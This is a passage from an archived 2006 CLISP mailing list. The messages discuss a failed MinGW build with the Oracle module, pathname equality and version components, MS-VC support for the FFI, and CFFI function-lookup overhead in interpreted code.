--with-dynamic-ffi --with-dynamic-modules > > --with- > > module=syscalls --with-module=wildcard --with-module=regexp --with- > > module=oracle > > --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 - > > -with-mingw --build oralisp > stdout.out 2> stderr.err > > --with-dynamic-modules with mingw (or all win32?) is not work (IMHO) > Ok, the build succeeded, but the install is failing with this error in windows: The instruction at "0x0049506e" referenced memory at "0x00000004". The memory could not be "read". and in the MinGW window: lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" make: *** [interpreted.mem] Error 5 running this command ./configure --without-readline \ --with-dynamic-ffi \ --with-module=syscalls \ --with-module=wildcard \ --with-module=regexp \ --with-module=oracle \ --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 \ --with-mingw \ --install oralisp Thanks, Jeff From kavenchuk@jenty.by Tue Jan 31 23:22:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4CKQ-0003qd-NG for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 23:22:58 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4CKP-0005KT-1F for clisp-list@lists.sourceforge.net; Tue, 31 Jan 2006 23:22:58 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id D4JK6PHJ; Wed, 1 Feb 2006 09:24:28 +0200 Message-ID: <43E0622F.10408@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Jeff CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: build failure 2.38 (oracle + mingw) References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 31 23:23:05 2006 X-Original-Date: Wed, 01 Feb 2006 09:24:31 +0200 Jeff wrote: > Ok, the build succeeded, but the install is failing with this error in > windows: > > The instruction at "0x0049506e" referenced memory at "0x00000004". The > memory > could not be "read". > > and in the MinGW window: > > lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -m 1400KW > -x "(and > (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" > make: *** [interpreted.mem] Error 5 > > running this command > > ./configure --without-readline \ > --with-dynamic-ffi \ > --with-module=syscalls \ > --with-module=wildcard \ > --with-module=regexp \ > --with-module=oracle \ > > --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 \ > --with-mingw \ > --install oralisp Try to remove base modules form command line: ./configure --without-readline \ --with-module=wildcard \ --with-module=oracle \ --with-libsigsegv-prefix=/clisp/clisp-2.38/tools/i686-pc-mingw32 \ --with-mingw \ --install oralisp -- WBR, Yaroslav Kavenchuik. From zellerin@gmail.com Wed Feb 01 00:02:13 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4CwO-0006ZR-Uz for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 00:02:12 -0800 Received: from zproxy.gmail.com ([64.233.162.194]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4CwN-00075K-N2 for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 00:02:13 -0800 Received: by zproxy.gmail.com with SMTP id z3so81227nzf for ; Wed, 01 Feb 2006 00:02:10 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=Em+kiUpaS340DxM2fx6X39qrCbv/Wk9CQG5KA00Qp8w/+yh6J92M9H1yPzlECoGCnKLCtNtHVKXyJLkKUU80TxcwLmMJuJEyqmLZU8qywSVDdCUWw9nZTaCcA7jEibXO9R6RwXsQGIw+ym3ffVHSvWnPu1f9Fw49l+9e+gQG1iE= Received: by 10.36.227.38 with SMTP id z38mr5734178nzg; Wed, 01 Feb 2006 00:02:10 -0800 (PST) Received: by 10.36.222.58 with HTTP; Wed, 1 Feb 2006 00:02:10 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Equality of pathnames Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 1 00:03:03 2006 X-Original-Date: Wed, 1 Feb 2006 09:02:10 +0100 Hello, what is the concept of equality of pathnames in clisp like? I got bitten by something like this: zellerin@swamp ~]$ clisp -K base -q -norc [1]> (equal #P"/media/cdrecorder/" (print (truename #P"/media/cdrecorder/")= )) #P"/media/cdrecorder/" NIL CLHS sais in section on equal that Two pathnames are equal if and only if all the corresponding components (host, device, and so on) are equivalent. Whether or not uppercase and lowercase letters are considered equivalent in strings appearing in components is implementation-dependent. pathnames that are equal should be functionally equivalent. and also uses term of ``functionally equivalent'' below and states "A rough rule of thumb is that two objects are equal if and only if their printed representations are the same". Do I miss something or is clisp not conforming in this respect? I tried to check source and it appeared to pass pathnames to eq(l), but I may have misread it. I also looked to impnotes, but did not find anything relevant. Regards, Tomas [zellerin@swamp ~]$ clisp --version GNU CLISP 2.38 (2006-01-24) (built 3347203827) (memory 3347204100) Software: GNU C 4.0.0 20050519 (Red Hat 4.0.0-8) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -lncurses -ldl -L/usr/lib -lsigsegv -L/usr/lib -lc -L/usr/X11R6/lib -lX11 SAFETY=3D0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libreadline 5.0 Features: (READLINE REGEXP SYSCALLS I18N ASDF LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAME= S SCREEN FFI GETTEXT UNICODE BASE-CHAR=3DCHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/lib/clisp/ User language: ENGLISH Machine: I686 (I686) swamp.localnet.z [127.0.0.1] [zellerin@swamp ~]$ From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 01 07:51:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4KGd-0001LE-Fl for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 07:51:35 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4KGb-0002Bc-Qj for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 07:51:35 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 1 Feb 2006 16:51:17 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 1 Feb 2006 16:51:17 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03083429C3@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] MS-VC users out there? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 1 07:52:10 2006 X-Original-Date: Wed, 1 Feb 2006 16:51:12 +0100 Hi, am I the only user with a MS-VC6 installation & interest in CLISP? I'd like to know, because it may very well happen that MS-VC support = gets rapidly dropped, visible in the unability to build the FFI (esp. = ffcall) with MS-VC and afterwards possibly nobody caring for MS-VC = patches in the main trunk of CLISP... That's pure theory. I'm not the maintainer. Reasons: o Since MS-VC7, the change in the MS license prohibits redistribution = of files needed to comply with GPL, I've heard (from what I understood, = the startup code/dll is at cause). Cf. clisp/win32msvc/INSTALL MS-VC6 is not affected. The copyright was different. The library is = different. Who has MS-VC6? Who has MS-VC7 and uses it to buid a personal, non redistributable = clisp, and an interest in continued ability to do so? o All GNU efforts on MS-Windows head at -mingw, gcc infrastructure etc. = That's what ffcall supports. GNU is where ffcall feels at home :) I'm no lawyer, and all the above is my paraphrasing. Why am I asking anyway? I'm going to make changes to the FFI to = restore/install support for LONG LONG types. MS-VC has __int64 instead = of long long. ffcall does not support that, and I'm not going to add = that myself. Independently, the FFI needs some changes in that area = and I'd like to know whether to invest time to find out how to still = make things work with MS-VC, or drop it RSN (which would cost me *much = less time* -- in fact, code is there on HD, but lacking smoe testing). Regards, J=F6rg H=F6hle. From marcoxa@cs.nyu.edu Wed Feb 01 09:42:01 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4LzU-0002jW-N0 for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 09:42:00 -0800 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=bioinformatics.nyu.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4LzS-0001nM-H4 for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 09:42:00 -0800 Received: from [192.168.116.110] (account marcoxa [192.168.116.110] verified) by bioinformatics.nyu.edu (CommuniGate Pro SMTP 4.3.9) with ESMTPSA id 480530; Wed, 01 Feb 2006 12:41:51 -0500 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v623) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: clisp-list@lists.sourceforge.net From: Marco Antoniotti Subject: Re: [clisp-list] Equality of pathnames To: Tomas Zellerin X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 1 09:43:07 2006 X-Original-Date: Wed, 1 Feb 2006 12:41:47 -0500 On Feb 1, 2006, at 3:02 AM, Tomas Zellerin wrote: > Hello, > > what is the concept of equality of pathnames in clisp like? > > I got bitten by something like this: > zellerin@swamp ~]$ clisp -K base -q -norc > [1]> (equal #P"/media/cdrecorder/" (print (truename > #P"/media/cdrecorder/"))) > > #P"/media/cdrecorder/" > NIL > > CLHS sais in section on equal that > > Two pathnames are equal if and only if all the corresponding > components (host, device, and so on) are equivalent. Whether or not > uppercase and lowercase letters are considered equivalent in strings > appearing in components is implementation-dependent. pathnames that > are equal should be functionally equivalent. > > > and also uses term of ``functionally equivalent'' below and states "A > rough rule of thumb is that two objects are equal if and only if their > printed representations are the same". > > Do I miss something or is clisp not conforming in this respect? I > tried to check source and it appeared to pass pathnames to eq(l), but > I may have misread it. I also looked to impnotes, but did not find > anything relevant. You missed the following (type-of #P"/Am/I/a/pathname?") ==> PATHNAME ; or something like that. (type-of (print (truename #P"/Am/I/a/pathname?"))) ==> STRING A string is never EQ, EQL, EQUAL, EQUALP to a pathname Cheers -- marco -- Marco Antoniotti http://bioinformatics.nyu.edu/~marcoxa NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 01 11:35:25 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4NlF-0003Ix-Ip for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 11:35:25 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4NlD-0003H3-GG for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 11:35:25 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 1 Feb 2006 20:35:05 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 1 Feb 2006 20:35:05 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308342AC4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] find_name bugfix for Windows 98 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 1 11:36:01 2006 X-Original-Date: Wed, 1 Feb 2006 20:35:03 +0100 Frank Bu? wrote: >Another idea: perhaps the function address should be cached with a >hashtable, [...] would be nearly >constant (and maybe faster) with a hashtable. Huh? A hashtable still must be filled? A gain would only be seen by developers reloading the same def-call-out containing lisp files again and again. Not the typical user. Did you think of something else? Regards, Jorg Hohle. From fb@frank-buss.de Wed Feb 01 19:03:57 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4UlF-000552-6Z for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 19:03:53 -0800 Received: from moutng.kundenserver.de ([212.227.126.186]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4UlD-0000DH-Lv for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 19:03:53 -0800 Received: from [84.44.158.218] (helo=galilei) by mrelayeu.kundenserver.de (node=mrelayeu2) with ESMTP (Nemesis), id 0MKwtQ-1F4UlB19rD-0004jj; Thu, 02 Feb 2006 04:03:49 +0100 From: "Frank Buss" To: Cc: "'Hoehle, Joerg-Cyril'" Subject: RE: [clisp-list] find_name bugfix for Windows 98 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 Thread-Index: AcYnZryKaeX/WREuQKiRPe5EYjn1BwAPi+UA X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0308342AC4@S4DE8PSAAGS.blf.telekom.de> Message-ID: <0MKwtQ-1F4UlB19rD-0004jj@mrelayeu.kundenserver.de> X-Provags-ID: kundenserver.de abuse@kundenserver.de login:c8f3a198e727b982101a8031b3375aa3 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 1 19:04:14 2006 X-Original-Date: Thu, 2 Feb 2006 04:03:53 +0100 Jorg Hohle wrote: > Huh? A hashtable still must be filled? > A gain would only be seen by developers reloading the same > def-call-out containing lisp files again and again. Not the > typical user. While fixing the bug I used some printfs in the code and it looked like the search function was called for every call, but I'm not sure, maybe it is called only once at load time. -- Frank Buss, fb@frank-buss.de http://www.frank-buss.de, http://www.it4-systems.de From zellerin@gmail.com Wed Feb 01 23:48:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4ZCO-00080m-56 for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 23:48:12 -0800 Received: from zproxy.gmail.com ([64.233.162.202]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4ZCL-0003AP-PQ for clisp-list@lists.sourceforge.net; Wed, 01 Feb 2006 23:48:12 -0800 Received: by zproxy.gmail.com with SMTP id z3so332242nzf for ; Wed, 01 Feb 2006 23:48:08 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=V7dcFCCkfYpv5vWY1wyVImsXpnbw16clsGGvBwJ0vGMdOr7whWMe4xodVd84aAU4m64V8PdDnVqR/XNsn7vM8XvwFFt5zB2JBlHkDdq/ypT2BwNN8LOs45PsC9o+1co2U0N0GdBM9Ug848vOFtqROwGfFed5y3fvxJ54nL7eLs8= Received: by 10.36.74.16 with SMTP id w16mr433001nza; Wed, 01 Feb 2006 23:48:08 -0800 (PST) Received: by 10.36.222.58 with HTTP; Wed, 1 Feb 2006 23:48:08 -0800 (PST) Message-ID: From: Tomas Zellerin To: Marco Antoniotti Subject: Re: [clisp-list] Equality of pathnames Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 1 23:49:02 2006 X-Original-Date: Thu, 2 Feb 2006 08:48:08 +0100 On 01/02/06, Marco Antoniotti wrote: > > On Feb 1, 2006, at 3:02 AM, Tomas Zellerin wrote: > > > Hello, > > > > what is the concept of equality of pathnames in clisp like? > > > > I got bitten by something like this: > > zellerin@swamp ~]$ clisp -K base -q -norc > > [1]> (equal #P"/media/cdrecorder/" (print (truename > > #P"/media/cdrecorder/"))) > > > > #P"/media/cdrecorder/" > > NIL > > > > (...) > > Do I miss something or is clisp not conforming in this respect? I > > tried to check source and it appeared to pass pathnames to eq(l), but > > I may have misread it. I also looked to impnotes, but did not find > > anything relevant. > > You missed the following > > (type-of #P"/Am/I/a/pathname?") =3D=3D> PATHNAME ; or something like tha= t. > > (type-of (print (truename #P"/Am/I/a/pathname?"))) =3D=3D> STRING > I don't think so, and neither appears to do clisp (did you try the expression?), nor CLHS: truename filespec =3D> truename Arguments and Values: filespec---a pathname designator. truename---a physical pathname. print object &optional output-stream =3D> object Anyway, the truename was used above only as an example; merge-pathnames works as well: [18]> (equal (print (merge-pathnames #P"foo" #P"\\bar\\")) (print #P"\\bar\= \foo" )) #P"\\bar\\foo" #P"\\bar\\foo" NIL (on a Windows machine) Just for curiosity, [21]> (equal #P"/foo/bar" #P"/foo/bar") T [22]> (eql #P"/foo/bar" #P"/foo/bar") NIL [23]> (eq #P"/foo/bar" #P"/foo/bar") NIL Tomas From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 02 01:24:39 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4ahj-0006GA-MA for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 01:24:39 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4ahh-0000iI-QI for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 01:24:39 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 2 Feb 2006 10:20:39 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 2 Feb 2006 10:20:38 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308342DF4@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: fb@frank-buss.de Subject: Re: [clisp-list] find_name bugfix for Windows 98 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 2 01:25:01 2006 X-Original-Date: Thu, 2 Feb 2006 10:20:37 +0100 Frank Buss wrote: >While fixing the bug I used some printfs in the code and it >looked like the >search function was called for every call, but I'm not sure, >maybe it is called only once at load time. You're using CFFI, right? You're using interpreted files, presumably? CFFI uses LOAD-TIME-VALUE extensively. Unless you use compiled code, the interpreter will treat LOAD-TIME-VALUE like IDENTITY: no memoization, re-evaluated every time. See cffi-clisp:%foreign-funcall When compiled, load-time-value turns into something evaluated once, at load-time. So indeed, there's a hidden cost when not using the compiler. This can be a real & surprising slow-down, but who's going to complain about speed in the interpreter? CLISP has always had a compiler. If you observe anything else, please report it here. Regards, Jorg Hohle. From zellerin@gmail.com Thu Feb 02 08:02:52 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4gv6-0002y1-Ok for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 08:02:52 -0800 Received: from zproxy.gmail.com ([64.233.162.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4gv5-00087f-Gy for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 08:02:52 -0800 Received: by zproxy.gmail.com with SMTP id z3so422451nzf for ; Thu, 02 Feb 2006 08:02:49 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=WsEoBGbUMMyRwbgwULp4llhCSdoDfOJVI0NrLHrr6Uj4AOWm/6pIXGlW0lCZqJMZk3DPt3rub5+kx25XJ9h21cut0LGbuOckXxLUaN8H13b2c2Lf8leUUgZarnrescCvp/DDqwxF0R51X8ewfmcgDrhYYMaXnvvrmhSOh2ccjKw= Received: by 10.36.222.60 with SMTP id u60mr778936nzg; Thu, 02 Feb 2006 08:02:49 -0800 (PST) Received: by 10.36.222.58 with HTTP; Thu, 2 Feb 2006 08:02:49 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Equality of pathnames In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <1138893162.27660.2.camel@nocandy.dyndns.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 2 08:03:06 2006 X-Original-Date: Thu, 2 Feb 2006 17:02:49 +0100 On 02/02/06, Stephen Compall wrote: > On Thu, 2006-02-02 at 08:48 +0100, Tomas Zellerin wrote: > > > > [1]> (equal #P"/media/cdrecorder/" (print (truename > > > > #P"/media/cdrecorder/"))) > > > > > > > > #P"/media/cdrecorder/" > > The TRUENAME has its version set to :NEWEST. The literal path's version > is NIL. I'm not sure what the ANSI-friendliness of that modification > is. Thanks - that it is, most likely. I am still a bit puzzled by this behaviour, and I would like to find way how to not bother about pathname-version. I find it confusing to see that #P"" creates pathames with nil, while merge-pathnames (as well as truename) adds :newest, apparently whatever is version of *default-pathname-defaults*. Any practical hint? Regards, Tomas From marcoxa@cs.nyu.edu Thu Feb 02 11:07:12 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F4jnP-0001e2-D6 for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 11:07:07 -0800 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=bioinformatics.nyu.edu) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F4jnM-00024r-Iz for clisp-list@lists.sourceforge.net; Thu, 02 Feb 2006 11:07:07 -0800 Received: from [192.168.116.110] (account marcoxa [192.168.116.110] verified) by bioinformatics.nyu.edu (CommuniGate Pro SMTP 4.3.9) with ESMTPSA id 481131; Thu, 02 Feb 2006 14:06:57 -0500 In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v623) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: clisp-list@lists.sourceforge.net From: Marco Antoniotti Subject: Re: [clisp-list] Equality of pathnames To: Tomas Zellerin X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 2 11:08:01 2006 X-Original-Date: Thu, 2 Feb 2006 14:06:56 -0500 On Feb 2, 2006, at 2:48 AM, Tomas Zellerin wrote: > On 01/02/06, Marco Antoniotti wrote: >> >> On Feb 1, 2006, at 3:02 AM, Tomas Zellerin wrote: >> >>> Hello, >>> >>> what is the concept of equality of pathnames in clisp like? >>> >>> I got bitten by something like this: >>> zellerin@swamp ~]$ clisp -K base -q -norc >>> [1]> (equal #P"/media/cdrecorder/" (print (truename >>> #P"/media/cdrecorder/"))) >>> >>> #P"/media/cdrecorder/" >>> NIL >>> >>> (...) >>> Do I miss something or is clisp not conforming in this respect? I >>> tried to check source and it appeared to pass pathnames to eq(l), but >>> I may have misread it. I also looked to impnotes, but did not find >>> anything relevant. >> >> You missed the following >> >> (type-of 